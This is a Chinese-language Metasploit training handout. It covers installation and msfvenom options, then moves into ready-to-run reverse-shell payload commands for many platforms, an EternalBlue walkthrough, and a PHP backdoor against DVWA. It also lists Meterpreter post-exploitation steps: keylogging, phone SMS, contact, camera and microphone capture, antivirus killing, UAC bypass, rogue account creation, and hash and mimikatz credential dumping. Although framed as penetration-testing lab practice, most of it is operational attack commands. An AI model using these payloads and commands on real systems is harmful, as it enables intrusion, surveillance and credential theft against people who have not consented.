01 MSF发展史
1 Metasploit-发展史
Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击,有效载荷就是在发现漏洞之后开发一种可行的攻击方法。其用于提取本地系统密码、安装其他软件或控制硬件等的模块,这些功能很像以前BO2K等工具所具备的功能。
2004年
2004年8月,在拉斯维加斯开了一次世界黑客交流会–叫黑帽简报(Black Hat Briefings). 在这个会议上,一款叫Metasploit 的攻击和渗透工具备受众黑客关注,出尽了风头。 Metasploit 是同 HD Moore 和 Spoonm等4名年轻人开发的,这款免费软件可以帮助黑客攻击和控制计算机,安全人员也可以利用 Metasploit 来加强系统对此类工具的攻击。Metasploit 的演示吸引了来自“美国国防部”和“国家安全局”等政府机构的众多安全顾问和个人,正如 Spoonm 在演讲中所说的, Metasploit 很简单,只需要求“找到目标,单击和控制”即可。 2004年 Metasploit 的发布在安全界引发了强烈的“地震”。
2005年
2005年6月,西雅图效区的微软公司总部园区内的管理情报中心,开了一次“蓝帽”会议。几百名微软公司的工程师和众多外界专家及黑客都被邀请进入微软帝国的中心。在会议中的黑客攻击演示中,当 Moore 向系统程序员们说明使用 Metasploit 测试系统对抗入侵的可靠程度时,Metasploit 让微软公司的开发人员再次感到不安。在程序员们看来,Metasploit 将会使系统安全面临严重的考验。 Metasploit (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,提供开发,测试和使用恶意代码,这个环境为渗透测试,为shellcode 编写和漏洞研究提供了一个可靠平台。 Metasploit框架直到2006年发布的2.7版本都用Perl脚本语言编写,由于Perl的一些缺陷,开发者于2007年底使用Ruby语言重写了该框架。到2007年年底,Spoonm和马特·米勒已经离开了项目。从2008年发布的3.2版本开始,该项目采用新的3段式BSD许可证。
2009年
2009年10月21号,漏洞管理解决公司Rapid7收购Metasploit项目。Rapid7承诺成立专职开发团队,仍然将源代码置于3段式BSD许可证下。
2 BSD许可证
相较于GPL许可证和MPL许可证的严格性,BSD许可证就宽松许多了,一样是只需要附上许可证的原文,不过比较有趣的是,它还要求所有进一步开发者将自己的版权资料放上去,所以拿到以BSD许可证发行的软件可能会遇到一个小状况,就是这些版权资料许可证占的空间比程序还大。
3 Metasploit发展前景
02 Linux安装MS
1 乌班图安装MSF
环境准备:
vm虚拟机
Ubuntu桌面版镜像
打开终端 输入 sudo su 获取root权限
然后输入命令
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
然后赋755权限 并执行安装
chmod 755 msfinstall && ./msfinstall
2 直接安装kali系统
第一种vm虚拟机 kali
第二种 iso安装镜像
首先咱们进入kali官网下载kali
https://www.kali.org/get-kali/#kali-bare-metal 选择安装版镜像
03 kali更新msf
登录kali
1 打开终端获取root权限
获取root权限 可以在终端 输入 sudo su 然后输入登录密码获取root权限
2 开始更新
首先先添加更新源
进入 etc/apt/ 目录
打开 sources.list 需要使用root权限执行
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云kali更新源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#163 DEBIAN源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib deb http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib
deb-src http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib
deb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contrib
apt-get update
apt-get install metasploit-framework
3 如果更新时显示update无效的错误!
输入下面几个命令修复
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add
apt-get clean
apt-get update
4 如果报:
E: Unmet dependencies. Try ‘apt --fix-broken install’ with no packages (or specify a solution).
apt --fix-broken install
04 Windows安装MSF课件
1 下载metasploit
首先咱们进入metasploit官网
https://www.metasploit.com/
点击 Download 下载
或者直接访问这个 地址
https://www.metasploit.com/download
进入这个页面 点击 Metasploit Framework 下面的 Download
会访问这个地址
https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
如果你不能打开GitHub 我们可以通过镜像服务器 访问
https://hub.fastgit.org/rapid7/metasploit-framework/wiki/Nightly-Installers
这边给大家提供更多的国内可用镜像
#官网镜像(可以用来clone push等,但是不能登录)
https://github.com.cnpmjs.org/
https://git.sdut.me/
#github常用的镜像
https://hub.fastgit.org
https://git.sdut.me/
http://github-mirror.bugkiller.org/
#api镜像
https://api.git.sdut.me/
然后找到Windows版本的下载
点击 latest Windows installer 下载 最新版本
点击 view older builds 下载历史版本
2 安装metasploit并配置环境变量
安装前关闭win自带的杀毒 和卸载第三方杀毒
添加环境变量
C:\metasploit-framework\bin
3 启动并使用
首次启动 需要初始化数据库
终端中输入 msfdb init
启动MSF框架
终端中输入 msfconsole
05 MSF图形界面Viper
MSF图形化界面Viper(炫彩蛇)下载与使用
Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化.
集成杀软绕过,内网隧道,文件管理,命令行等基础功能.
当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类.
在Kali Linux上安装Docker
apt-get update
#使用apt安装docker
apt-get install -y docker.io
#设置开机启动 systemctl start docker
#检查启动状态 docker version
安装docker-compose
curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-uname -s
-uname -m
> /usr/bin/docker-compose
#给赋可执行状态 chmod +x /usr/bin/docker-compose
#设置安装目录
export VIPER_DIR=/root/VIPER
#执行如下命名生成安装目录,并进入安装目录
mkdir -p $VIPER_DIR && cd $VIPER_DIR
执行如下命令生成docker-compose.yml
如果你看到的命令是乱的 https://note.youdao.com/s/GdzSJnWD 看这个文档
tee docker-compose.yml <<-‘EOF’ version: “3” services: viper: image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest container_name: viper-c network_mode: “host” restart: always volumes: - ${PWD}/loot:/root/.msf4/loot - ${PWD}/db:/root/viper/Docker/db - ${PWD}/module:/root/viper/Docker/module - ${PWD}/log:/root/viper/Docker/log - ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig command: [“VIPER_PASSWORD”] EOF
设置登录密码
Viper不允许使用默认密码,diypassword替换为自定义密码密码
export VIPER_PASSWORD=输入你的密码
写入密码到docker-compose.yml
sed -i “s/VIPER_PASSWORD/$VIPER_PASSWORD/g” docker-compose.yml
#使用命令查看一下配置
cat docker-compose.yml
创建启动Viper
cd $VIPER_DIR docker-compose up -d
启动viper
docker-compose start
等待15s系统启动,访问
- https://ip:60000
- 登录. 用户名:root 密码: 自定义密码
在终端内输入 ip a 查看本机ip
- 我的IP是192.168.3.31 那么我在浏览器里就访问 https://192.168.3.31:60000 登录名是 root 密码是 我上面设置的root
例如: 我的ip是 192.168.3.31 那么访问炫彩蛇的IP就是 192.168.3.31:60000
注意:
所有的docker-compose命令必须在安装目录执行才会有效果
06 MSF目录结构
kali终端中输
/usr/share/metasploit-framework
然后输入 ls 查看
要记住的一些模块
modules:目录里面存放渗透使用的 辅助模块 编码模块 利用模块 攻击载荷 后渗透模块
plugins: 这个模块需要用load加载,主要提供数据库连接插件 和 各种要用到的插件。
tools:包含一些有用的脚本和零散的工具。
scripts:目录里面存放都是meterpreter利用的脚本。
db:数据放在这个目录里
data:存放使用到的文件,比如密码字典、meterpreter、passivex、vnc、dlls等工具和一些用户接口代码,msfweb和一些其他模块用到的数据文件
lib:库文件都保存在这个目录里
07Metasploit的核心模块
msf的模块都放在
/usr/share/metasploit-framework/modules/这个目录下
1 auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
2 exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。
3 payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
4 post:后渗透阶段模块,漏洞利用成功获得meterpreter之后, 向目标发送的一些功能性
指令,如:提权等
5 encoders: 编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
6 evasion:躲避模块,用来生成免杀payload
7 nops:这里主要放着调整shellcode 前置nop指令长度的工具(不理解没关系)
Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马
msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。
msfencode是MSF编码器。
08-09msfvenom常用参数(更新)
一 、msfvenom 常用参数
-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-p
指定需要使用的payload(攻击荷载)。
-f
指定输出格式
Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
-e
指定需要使用的encoder(编码器)编码免杀。
-a
指定payload的目标架构
选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o
保存payload文件输出。
-b
设定规避字符集,比如: '\x00\xff’避免使用的字符
-n
为payload预先指定一个NOP滑动长度
-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。
-i
指定payload的编码次数
-c
指定一个附加的win32 shellcode文件
-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-v
指定一个自定义的变量,以确定输出格式
二、各平台生成payload命令
Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf
php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js
python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py
perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl
ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb
lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua
windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
10-11 msfconsole漏洞利用流程
一、阶段划分:
漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 报告 这几个阶段
1.前期交互阶段:
与客户组织进行交互讨论,确定范围,目标等
这个阶段大家可以理解为情报收集前阶段,主要是为了找到目标 确认范围
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pFAfZr8y-1666167673706)(10-11 msfconsole漏洞利用流程.assets/1643165117094.png)]
2.情报搜集阶段:
获取更多目标组织信息,
| 外围信息搜索 - Google
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GWPRHdwP-1666167673707)(10-11 msfconsole漏洞利用流程.assets/1643165139006.png)]
主机探测与端口扫描 如 -Nmap
服务扫描 利用metasploit中的auxiliary/scanner/中的服务扫描模块,可以对靶机中的服务版本等信息进行扫描
网络漏洞扫描 -OpenVAS、Nessus等
其他工具扫描 py脚本扫描
3.威胁建模阶段:
理清头绪,确定出最可行的漏洞利用通道,这个建模阶段写的文档不是给自己看的 是给整个团队看的 方便多人合作
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vViQWSs2-1666167673707)(10-11 msfconsole漏洞利用流程.assets/1643165166875.png)]
这个阶段主要是根据收集到的情报进行整理 ,理清漏洞利用思路。
4.漏洞分析阶段:
搜索可获取的渗透代码资源
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CFjTB6YY-1666167673707)(10-11 msfconsole漏洞利用流程.assets/1643165182827.png)]
这个阶段主要 挑选匹配可能存在的漏洞利用模块,shellcode
5.渗透利用阶段:
找出安全漏洞,入侵系统
这个阶段尝试利用漏洞 ,配置监控,开始漏洞利用
6.后渗透利用阶段:
Meterpreter,实施操作
这个阶段 就开始实施相关数据下载 后门维持 提权等操作
7.报告阶段:
漏洞利用渗透测试报告 (详细报告编写看 渗透测试报告课程)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qvh0t4qD-1666167673707)(10-11 msfconsole漏洞利用流程.assets/1643165204135.png)]
| 这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容
在撰写的过程中,需要特别注意的是:漏洞描述切忌不可过于简单,一笔带过;在安全建议部分避免提出没有实际意义的安全建议,比如加强安全意识;报告结构混乱不堪,太多复杂的专业术语,比如绕狗、x站等等;
二、实际操作(举例)
主机范围和目标已确定
1 情报搜集
基于msf发现内网存活主机
search 搜索
msf终端内输入 search scanner type:auxiliary
可用于发现主机的模块
auxiliary/scanner/discovery/arp_sweep # 基于ARP发现内网存活主机
auxiliary/scanner/discovery/udp_sweep # 基于UDP发现内网存活主机
auxiliary/scanner/ftp/ftp_version # 发现FTP服务
auxiliary/scanner/http/http_version # 发现HTTP服务
auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机
基于netbios发现内网存活主机
基于snmap发现内网存活主机
基于ICMP发现内网存活主机
2 威胁建模
经过第一步情报收集 我们通过arp发现了 目标机器ip
然后通过对目标机器的ip扫描 我们知道了 目标机器开通了 80端口 有web服务 开了ftp端口 有文件服务
开了 smb
最终决定对smb相关的漏洞进行利用
备选方案通过植入木马的方式进行利用
3 漏洞分析
第一步先查看smb利用漏洞有哪些 比如永恒之蓝
1 查询msf与永恒之蓝相关的 模块
使用命令 search ms17_010
2 然后我们利用了一个永恒之蓝的 扫描模块
use auxiliary/scanner/smb/smb_ms17_010
3 输入 options 查看扫描模块需要配置的参数
3.1 然后我们配置了rhost (rhost指的是目标主机ip)
set rhost ip
4 然后我们执行扫描 输入 run
发现了 可能存在漏洞的主机
4 渗透利用
1 加载 永恒之蓝漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
2 输入 options 查看扫描模块需要配置的参数
3.1 然后我们配置了rhost (rhost指的是目标主机ip)
set rhost ip
3.2 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)
set lhost ip
3.3 然后我们配置了 lport (指的是监控的端口 )
set lport ip
注意端口必须没有被占用
4 然后我们执行扫描 输入 run 执行永恒之蓝漏洞利用
但是发现失败 提示 模块已经利用了 但是没有返回对应 session
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ERkkSXqK-1666167673708)(10-11 msfconsole漏洞利用流程.assets/bffdb79061ad4b0aa92d2dfde83e9f1b.png)]
5 备选方案通过植入木马的方式进行利用
1 我们知道目标机器是win系统 所以使用msfvenom 生成一个win平台的木马
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4446 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe
2 漏洞生成后 通过启动一个py服务将木马上传到目标机器
python -m SimpleHTTPServer 80
3 配置监控程序我们使用了
use exploit/multi/handler
3 输入 options进入配置
3.1 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)
set lhost ip
3.2然后我们配置了 lport (指的是监控的端口 )
set lport ip
注意端口必须和msfvenom 生成的木马端口一样才行
4 配置攻击载荷 payload
set payload windows/meterpreter/reverse_tcp
5 执行利用等待目标机器执行木马
6 目标机器执行了木马
利用成功并获得meterpreter
5 后渗透利用
进入新文档
6 报告阶段
12 meterpreter介绍
一、 Meterpreter是什么
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。
二、Meterpreter中常用的反弹类型
1.reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
三、Meterpreter的常用命令
1.基本命令
help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起
bgkill# 杀死一个 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本
2 常用命令
2.1 针对安卓手机的一些命令
获取手机通讯录: dump_contacts
获取短信记录:dump_sms
控制实验手机发短信:send_sms -d 15330252525 -t
“hello”
获取实验手机GPS定位信息:geolocate
获取实验手机Wi-Fi定位信息:wlan_geolocate
控制实验手机录音:record_mic
-d 5
获取实验手机相机设备:webcam_list
控制实验手机拍照 :webcam_snap
直播实验手机摄像头:webcam_stream
2.2 针对Windows的一些命令
查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run
post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
获取相机设备:webcam_list
控制拍照 :webcam_snap
直播摄像头:webcam_stream
控制录音:record_mic
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd
导出当前用户密码哈希 run hashdump
用户名:SID:LM哈希:NTLM哈希:::
也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump
抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin
直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)
首选终端输入 load kiwi 加载kiwi
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
3.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\windows\system32
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\“ProgramFiles”\Tencent\QQ\Users\295****125\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea.bat c:\xamp\
enumdesktops #用户登录数
13 PHP后门反弹连接演示文档
一、 环境准备
1 DVWA靶场
DVWA下载:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
注意:配置DVWA环境 准备PHP7.0以上,和 Nginx环境
1 配置数据库密码 配置 config/config.inc.php.dist 文件(注意后门的 .dist要通过重命名删掉)
2 使用浏览器访问 http://XxIP/setup.php
3 红字问题解决
4 缺少key 直接替换下面2句 或者 访问https://www.google.com/recaptcha/admin/create
$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb’;
$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K’;
5 allow_url_include: Disabled 提示没开启
找到php目录里的php.ini allow_url_include 将后面参数OFF 改成On 修改完成重启Nginx生效
2 Metasploit任意平台
可以是Windows版,可以是kali自带版
二、Metasploit配置监控及攻击载荷
1 配置监控-使用handler模块
use exploit/multi/handler
2 配置攻击载荷设置payload
第一步设置payload
set payload php/meterpreter/reverse_tcp
第二步设置 lhost 和 lport
set lhost xxxip ;
set lport xxx端口;
3 生成php后门执行攻击获得meterpreter
新建一个终端在终端内输入
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.23 lport=4456 R>shell.php
3.2 传播- 使用Python简单的web服务
python -m SimpleHTTPServer 80
将shell.php
3.3 执行攻击获得meterpreter
run 或者exploit
获取到meterpreter 我们就可以做渗透操作了
比如 观看屏幕 可以在meterpreter里输入
run vnc
查看当前账号可以在meterpreter里输入
getuid
14 后渗透之访问文件系统
一、后渗透之访问文件系统
1.文件交互指令
ID | Command | Description |
---|---|---|
1 | cat | 读取文件内容 |
2 | cd | 切换靶机目录 |
3 | cp | 复制文件到目标 |
4 | mv | 移动到目标 |
5 | chmod | 修改文件权限(比如chmod 777 shell.elf) |
6 | del / rm | 删除靶机文件 |
7 | dir | 打印靶机目录 |
8 | mkdir | 在靶机上创建目录 |
9 | rmdir | 删除靶机目录 |
10 | edit | 编辑文件 |
11 | getlwd | 打印本地目录 |
12 | getwd | 打印靶机目录 |
13 | lcd | 更改本地目录 |
14 | lls | 列出本地目录 |
15 | ls | 列出靶机文件目录 |
16 | lpwd | 打印本地目录 |
17 | pwd | 打印工作目录 |
19 | search | 搜索文件 详情search -h |
Linux权限理解
chmod 777 {文件名.后缀}
chmod 777 shell.elf
15 后渗透之上传下载文件
ID | Command | Description |
---|---|---|
1 | upload | 传文件到靶机 |
2 | download | 从靶机下载文件 |
16 后渗透之屏幕截图
ID | Command | Description |
---|---|---|
1 | screenshot | 截图(Windows) |
17 后渗透之键盘记录
ID | Conmmand | Description |
---|---|---|
1 | keyscan_start | 启动键盘记录(Windows) |
2 | keyscan_dump | 导出键盘(Windows) |
3 | keyscan_stop | 停止键盘记录(Windows) |
18 后渗透之创建账户(Windows)
一、环境准备
1 MSF-Metasploit Framework
2 一台获取到meterpreter的靶机
二、实际操作
1、先看下目标靶机已存在用户 meterpreter中输入:run post/windows/gather/enum_logged_on_users
2、使用getgui创建 一个用户名为 msb 密码为 123456 的账户
run getgui -u msb -p 123456
run getgui -u {用户名}-p {密码}
进入win的运行输入netplwiz 可以查看账户创建情况
[-] Insufficient privileges, account was not be created. 看到这个提示就需要先提权(获取到system)
2.1 绕过UAC提权
use exploit/windows/local/ask
19 后渗透之调用音频设备录音
一、环境准备
MSF-Metasploit Framework
一台安装手机或者模拟器
二、实践
record_mic 包含4个可选参数 分别为
-d 是设置录音时长的
-f 设置未见路径的
-h 查看帮助的
-p 控制自动播放的
一条简单的录音语句
record_mic -d 10 -p true
20 后渗透之提权
一、环境准备
1 MSF-Metasploit Framework
2 一台windiows靶机
二、实战
1 提权方法(Windows)查看当前获得用户的权限 meterpreter 中输入: getuid
方法一、 meterpreter中输入:getsystem
方法二、使用msf模块提权
要想提权必须是已经拿到meterpreter 然后将当前meterpreter 后台 meterprerer中输入 background
1、 查看可用模块 MSF终端中输入 search bypassuac 查看提权模块
2、 选择一个适合当前系统的提权模块 我这边使用的是win10系统
那我们使用:use exploit/windows/local/bypassuac_windows_store_reg 尝试提权
这个模块不行就换一个 use exploit/windows/local/bypassuac_sluihijack
或者 use exploit/windows/local/bypassuac_dotnet_profiler
3 配置模块使用参数 终端内输入: show options
4 可以看到需要配置 session 终端内输入:set session {需要提权的session id}
5 执行提权 终端内输入:run
6 获取到meterpreter后 我们在终端内 输入getuid 看实际还没有提权成功 需要在还终端内在输入 getsystem 获取权限
7 获取权限完成后 输入getuid 即可看到 已经获取到SYSTEM 最高权限了
看到这个证明已经将权限提升成功
21 后渗透之获取登录密码(Windows)
一、环境准备
1 MSF-Metasploit Framework
2 一台windiows靶机
二、实战
首先获得一个有SYSTEM权限的meterpreter
1 抓取自动登录账户密码
2 导出SAM数据库本地账户密码文件
3 导出密码哈希
4 使用kiwi模块获取
1 很多人喜欢给在计算机设置自动登录 我们可以通过抓取自动登录的账户密码
run windows/gather/credentials/windows_autologin
如果提示这证明本机并没有配置自动登录
2 还可以通过导出SAM数据库中的本地用户账号(注意需要提权到SYSTEM)
run post/windows/gather/smart_hashdump
用户名 | SID | LM哈希: | NTLM哈希1::: |
---|---|---|---|
mb | 1000 | aad3b435b51404eeaad3b435b51404ee | 32ed87bdb5fdc5e9cba88547376818d4 |
3 使用 hashdump 获取密码(注意需要提权到SYSTEM才能使用)
终端内输入 run hashdump
使用在线解析工具 https://www.cmd5.com/
NTLM哈希 例子:32ed87bdb5fdc5e9cba88547376818d4
4 使用load kiwi(使用kiwi模块需要system权限)
kiwi_cmd 模块可以让我们使用mimikatz的全部功能, mimikatz 的命令直接在kiwi_cmd里直接使用
5.1 终端输入 load kiwi
5.2 creds_all 直接获取密码
5.3 使用 kiwi_cmd sekurlsa::logonpasswords 获取密码
ID | kiwi参数和描述 |
---|---|
1 | creds_all:列举所有凭据 |
2 | creds_kerberos:列举所有kerberos凭据 |
3 | creds_msv:列举所有msv凭据 |
4 | creds_ssp:列举所有ssp凭据 |
5 | creds_tspkg:列举所有tspkg凭据 |
6 | creds_wdigest:列举所有wdigest凭据 |
7 | dcsync:通过DCSync检索用户帐户信息 |
8 | dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID |
9 | golden_ticket_create:创建黄金票据 |
10 | kerberos_ticket_list:列举kerberos票据 |
11 | kerberos_ticket_purge:清除kerberos票据 |
12 | kerberos_ticket_use:使用kerberos票据 |
13 | kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 |
14 | lsa_dump_sam:dump出lsa的SAM |
15 | lsa_dump_secrets:dump出lsa的密文 |
16 | password_change:修改密码 |
17 | wifi_list:列出当前用户的wifi配置文件 |
18 | wifi_list_shared:列出共享wifi配置文件/编码 |
22 后渗透之远程监控(Windows)
一、环境准备
1 rdesktop
在线安装 rdesktop
Debian,Ubuntu,kali下使用以下命令
apt-get install rdesktop
Centos/RedHat可以通过yum命令
yum -y install rdesktop
2 一台windiows靶机(没有物理电脑可以使用虚拟机代替)
3 MSF-Metasploit Framework
二、实战
1 使用rdesktop远程控制
